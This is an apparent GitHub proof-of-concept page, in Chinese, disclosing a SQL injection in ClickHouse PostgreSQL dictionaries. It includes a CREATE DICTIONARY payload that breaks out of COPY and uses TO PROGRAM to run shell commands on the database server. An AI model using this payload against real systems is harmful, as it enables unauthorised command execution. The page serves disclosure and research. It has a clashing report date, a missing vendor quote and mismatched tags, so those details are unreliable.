TheLiimbo/CVE-2026-51992

GitHub: TheLiimbo/CVE-2026-51992

该项目是 ClickHouse CVE-2026-51992 的概念验证,演示了通过 PostgreSQL 字典查询中的 SQL 注入实现远程命令执行。

Stars: 0 | Forks: 0

# CVE-2026-51992 在 ClickHouse 中,存在一项功能,允许拥有正确权限的用户创建字典,以便与不同的数据库进行交互并对它们运行特定的查询。对于 PostgreSQL,SELECT 查询在数据库上执行之前,会被包装在 `COPY( {QUERY} ) TO STDOUT` 语句中。通过在创建的字典中添加一个括号,就可以跳出 `COPY( {QUERY} ) TO STDOUT` 语句并运行任意 SQL 语句,进而可能导致在数据库服务器上执行任意命令。 # 详情 PostgreSQL 字典使用以下结构创建: ``` SOURCE(POSTGRESQL( port 5432 host 'postgresql-hostname' user 'postgres_user' password 'postgres_password' db 'db_name' table 'table_name' replica(host 'example01-1' port 5432 priority 1) replica(host 'example01-2' port 5432 priority 2) where 'id=10' invalidate_query 'SQL_QUERY' query 'SELECT id, value_1, value_2 FROM db_name.table_name' )) ``` 字典中使用的 PostgreSQL 引擎的[文档](https://clickhouse.com/docs/engines/table-engines/integrations/postgresql)中提到了以下内容: 由于在发送到 Postgres 实例之前,没有对字典中定义的查询进行额外的验证,因此可以通过在查询开头加上一个“)”来跳出 "COPY(...) TO STDOUT",从而创建一个非只读的事务。例如,可以在 ClickHouse 中使用以下查询来创建一个“恶意”的 Postgres 字典: `CREATE DICTIONARY exec_dict(id UInt64, value UInt64 DEFAULT 0) PRIMARY KEY id SOURCE(POSTGRESQL(port 5432 host '172.17.0.3' user 'postgres' password 'password' db 'postgres' query 'SELECT 1) TO PROGRAM \'id>/tmp/test\';-- ')) LAYOUT(DIRECT())`

字典创建完成后,可以通过在 ClickHouse 中引用该字典来加载它。ClickHouse 会返回一个错误,指出其期望的 `COPY` 函数执行失败。然而,查询的其余部分仍会在后端的 PostgreSQL 数据库中执行。通过滥用 PostgreSQL 的 `PROGRAM` 功能,可以执行任意命令。

show-code-executing-in-container

# 背景 虽然最初的测试是在 25.8.10.7 版本上进行的,但在 2025 年 1 月 30 日提交报告时,当时的最新版本是 26.3.9.8,且该漏洞仍然存在。经过审查,该问题于 2026 年 4 月 10 日被标记为“不适用”,并附有以下声明: 因此,在撰写本报告时,该漏洞仍然适用于最新版本的 ClickHouse:

show-same-query-for-clickhouse

newer-version-for-clickhouse

show-vuln-still-happeneing-latest-version

似乎不太可能发布修复程序,这意味着当前以及未来可能所有版本的 ClickHouse 都会受到影响。
标签:CISA项目, ClickHouse, PoC, PostgreSQL, RCE漏洞, 多线程, 暴力破解, 测试用例